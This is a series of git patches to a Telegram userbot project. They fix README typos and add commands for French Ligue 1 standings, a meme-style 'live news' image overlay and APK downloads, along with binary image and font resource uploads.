-# Before You Go +# Before You Go (Need in deploying Process) From 1bc1fc8840ee40c205605a98a7bc4269325ee506 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 23:12:23 +0530 Subject: [PATCH 191/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index fc0fa40e..6f6cba2c 100644 --- a/README.md +++ b/README.md @@ -30,7 +30,7 @@

-# Before You Go (Need in deploying Process) +# Before You Go From f9e10f03fc01331f22005adb7cafea62e828ce54 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 23:13:49 +0530 Subject: [PATCH 192/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 6f6cba2c..cfb1bbee 100644 --- a/README.md +++ b/README.md @@ -45,7 +45,7 @@ Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from ## 3) Heroku API -Create a account on [Heroku](dashboad.heroku.com) first. Then goto sttings scroll to bottom. Reaveal API and get api +Create a account on [Heroku](dashboad.heroku.com) first. Then goto settings scroll to bottom. Reaveal API and get api ## 4) Plugin Channel and Private Group ID From 2dc2bac3911e49db98d0c44f5c8d9ecab91c4c5d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 23:15:14 +0530 Subject: [PATCH 193/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index cfb1bbee..ec0eb06b 100644 --- a/README.md +++ b/README.md @@ -87,7 +87,7 @@ send /id and get the group's ID
--THE HARD WAY of deploying - +-MORE INFO HERE - # String Session (Hard Way) ## Repl (not recommended) From 63a6b85e38d009d8ec0312a6d5ecb4c9a8e7a664 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 26 Dec 2020 12:41:43 +0530 Subject: [PATCH 194/838] Update football.py --- fridaybot/modules/football.py | 131 +++++++++++++++++++++++++++++++++- 1 file changed, 130 insertions(+), 1 deletion(-) diff --git a/fridaybot/modules/football.py b/fridaybot/modules/football.py index af5e1f5d..66e00734 100644 --- a/fridaybot/modules/football.py +++ b/fridaybot/modules/football.py @@ -145,12 +145,141 @@ async def _(event): ) await event.delete() +@friday.on(admin_cmd(pattern="ffl")) +async def _(event): + if event.fwd_from: + return + + if Config.FOOTBALL_API_KEY is None: + await event.edit("Need to get an API key from https://rapidapi.com/api-sports/api/api-football-beta\nModule stopping!") + return + + appo = Config.FOOTBALL_API_KEY + url = "https://api-football-beta.p.rapidapi.com/standings" + querystring = {"season":"2020","league":"61"} + headers = {'x-rapidapi-key': appo,'x-rapidapi-host': "api-football-beta.p.rapidapi.com"} + response = requests.request("GET", url, headers=headers, params=querystring) + a = response.json() + b = a.get("response") + c = b[0] + d = c.get('league') + e = d.get('name') + f = d.get("country") + logo = d.get("logo") + season = d.get("season") + g = d.get("standings") + h = g[0] + i = h[0] + rank = i.get("rank") + k = i.get("team") + nomo = k.get("name") + + pont = i.get("points") + kk = i.get("all") + pl = kk.get("played") + wein = kk.get("win") + yqw= kk.get("draw") + pol = kk.get("lose") + nex = h[1] + new = nex.get("rank") + np = nex.get("team") + nee = np.get("name") + popo = nex.get("points") + oloq = nex.get("all") + pl1 = oloq.get("played") + wein1 = oloq.get("win") + yqw1 = oloq.get("draw") + pol1 = oloq.get("lose") + + + nex2 = h[2] + new2 = nex2.get("rank") + np2 = nex2.get("team") + nee2 = np2.get("name") + popo2 = nex2.get("points") + oloq2 = nex2.get("all") + pl2 = oloq2.get("played") + wein2 = oloq2.get("win") + yqw2 = oloq2.get("draw") + pol2 = oloq2.get("lose") + + nex3 = h[3] + new3 = nex3.get("rank") + np3 = nex3.get("team") + nee3 = np3.get("name") + popo3 = nex3.get("points") + oloq3 = nex3.get("all") + pl3 = oloq3.get("played") + wein3 = oloq3.get("win") + yqw3 = oloq3.get("draw") + pol3 = oloq3.get("lose") + + nex4 = h[4] + new4 = nex4.get("rank") + np4 = nex4.get("team") + nee4 = np4.get("name") + popo4 = nex4.get("points") + oloq4 = nex4.get("all") + pl4 = oloq4.get("played") + wein4 = oloq4.get("win") + yqw4 = oloq4.get("draw") + pol4 = oloq4.get("lose") + + + caption = f"""{e} +Country:- {f} +season = {season} +Standings +Rank:- {rank} +Name:- {nomo} +points:- {pont} +Played:- {pl} +win:- {wein} +Draw:- {yqw} +Lose:- {pol} +Rank:- {new} +Name:- {nee} +points:- {popo} +Win:- {wein1} +Draw:- {yqw1} +Lose:- {pol1} +Rank:- {new2} +Name:- {nee2} +points:- {popo2} +Win:- {wein2} +Draw:- {yqw2} +Lose:- {pol2} +Rank:- {new3} +Name:- {nee3} +points:- {popo3} +Win:- {wein3} +Draw:- {yqw3} +Lose:- {pol3} +Rank:- {new4} +Name:- {nee4} +points:- {popo4} +Win:- {wein4} +Draw:- {yqw4} +Lose:- {pol4} +""" + + await borg.send_message( + event.chat_id, + caption, + parse_mode="HTML", + file=logo, + force_document=False, + silent=True, + ) + await event.delete() CMD_HELP.update( { "football": "**Football**\ \n\n**Syntax : **`.fpl`\ -\n**Usage :** Shows Premier League's Standings." +\n**Usage :** Shows Premier League's Standings.\ +\n\n**Syntax : **`.ffl`\ +\n**Usage :** Shows French Ligue1 Standings." } ) From e65d14c9b71abd9a9f32002bf50dd8c5fca71fa8 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 26 Dec 2020 12:43:45 +0530 Subject: [PATCH 195/838] Update imagetools.py --- fridaybot/modules/imagetools.py | 43 ++++++++++++++++++++++++++++++++- 1 file changed, 42 insertions(+), 1 deletion(-) diff --git a/fridaybot/modules/imagetools.py b/fridaybot/modules/imagetools.py index 90ad2e73..59b2588a 100644 --- a/fridaybot/modules/imagetools.py +++ b/fridaybot/modules/imagetools.py @@ -382,6 +382,43 @@ async def spinshit(message): rmtree(path, ignore_errors=True) + +@friday.on(friday_on_cmd(pattern=r"lnews ?(.*)")) +@friday.on(sudo_cmd(pattern=r"lnews ?(.*)", allow_sudo=True)) +async def hmm(event): + text = event.pattern_match.group(1) + if not text: + await event.edit("No input found! --__--") + return + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + hmmu = await event.edit("hmm... Starting Live News Stream...🚶") + await event.get_reply_message() + img = await convert_to_image(event, borg) + sed = await event.get_reply_message() + img = await convert_to_image(event, borg) + background = Image.open(img) + newss = "./resources/live/news.png" + foreground = Image.open(newss) + im = background.resize((2800, 1500)) + im.paste(foreground, (0,0), mask = foreground) + d1 = ImageDraw.Draw(im) + myFont = ImageFont.truetype("./resources/live/font.ttf", 165) + d1.text((7, 1251), text, font=myFont, fill =(0, 0, 0)) + + im.save("./starkgangz/livenews.png") + file_name = "livenews.png" + ok = "./starkgangz/" + file_name + await borg.send_file(event.chat_id, ok) + await hmmu.delete() + for files in (ok, img): + if files and os.path.exists(files): + os.remove(files) + + + + CMD_HELP.update( { "imagetools": "**imagetools**\ @@ -393,6 +430,8 @@ async def spinshit(message): \n**Usage :** makes a thug life meme image.\ \n\n**Syntax : ** `.tig`\ \n**Usage :** Makes a triggered gif of the replied image.\ + \n\n**Syntax : ** `.spin `\ + \n**Usage :** Spins The Given Image.\ \n\n**Syntax : ** `.jail`\ \n**Usage :** Makes a jail image of the replied image.\ \n\n**Syntax : ** `.fgs searchtext;fake text`\ @@ -400,6 +439,8 @@ async def spinshit(message): \n\n**Syntax : ** `.ph username:fake text`\ \n**Usage :** Makes a Fake PornHub comment with given username and text.\ \n\n**Syntax : ** `.greyscale`\ - \n**Usage :** Makes a black and white image of the replied image." + \n**Usage :** Makes a black and white image of the replied image.\ + \n\n**Syntax : ** `.lnews `\ + \n**Usage :** Makes a Fake News Streaming With Replyed Image And Text." } ) From 943c7ea28f6baa8f2ff4212bf0bd3abbcd8231bc Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 26 Dec 2020 12:44:46 +0530 Subject: [PATCH 196/838] Update webtools.py --- fridaybot/modules/webtools.py | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/webtools.py b/fridaybot/modules/webtools.py index 53a333dd..cd1b0fa3 100644 --- a/fridaybot/modules/webtools.py +++ b/fridaybot/modules/webtools.py @@ -4,7 +4,7 @@ from iplookup import iplookup from selenium import webdriver from youtube_search import YoutubeSearch - +from fridaybot.function import apk_dl from fridaybot import CMD_HELP from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @@ -156,7 +156,15 @@ async def _(event): await stark_result.edit(noob, parse_mode="HTML") except: await event.edit("Some Thing Went Wrong.") - + +@friday.on(friday_on_cmd(pattern="akd ?(.*)")) +@friday.on(sudo_cmd(pattern="akd ?(.*)", allow_sudo=True)) +async def _(event): + akkad = event.pattern_match.group(1) + if event.fwd_from: + return + pathz, name = await apk_dl(akkad, Config.TMP_DOWNLOAD_DIRECTORY, event) + await borg.send_file(event.chat_id, pathz, caption='Uploaded By @FRidayOT') CMD_HELP.update( { From 40bca627a4720f35a85471e62cfe84bab638309b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 26 Dec 2020 12:48:59 +0530 Subject: [PATCH 197/838] Add files via upload --- resources/IMG_20200929_103719_628.jpg | Bin 22610 -> 316857 bytes resources/dummy_image/README.md | 1 + resources/dummy_image/fgs.jpg | Bin 0 -> 39116 bytes resources/jail/README.md | 1 + resources/jail/hmm.png | Bin 0 -> 369253 bytes resources/live/README.md | 1 + resources/live/font.ttf | Bin 0 -> 118728 bytes resources/live/news.png | Bin 0 -> 114761 bytes resources/pb/README.md | 1 + resources/pb/font.TTF | Bin 0 -> 46724 bytes resources/pb/pb.jpg | Bin 0 -> 412321 bytes resources/stcr/README.md | 1 + resources/stcr/default.jpg | Bin 0 -> 7196 bytes 13 files changed, 5 insertions(+) create mode 100644 resources/dummy_image/README.md create mode 100644 resources/dummy_image/fgs.jpg create mode 100644 resources/jail/README.md create mode 100644 resources/jail/hmm.png create mode 100644 resources/live/README.md create mode 100644 resources/live/font.ttf create mode 100644 resources/live/news.png create mode 100644 resources/pb/README.md create mode 100644 resources/pb/font.TTF create mode 100644 resources/pb/pb.jpg create mode 100644 resources/stcr/README.md create mode 100644 resources/stcr/default.jpg diff --git a/resources/IMG_20200929_103719_628.jpg b/resources/IMG_20200929_103719_628.jpg index 2d26069b550564969779a671dc57f28aa48a0124..1170122d1d1f5aeda1f9e7b2785ae0e8f1a91e97 100644 GIT binary patch literal 316857 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 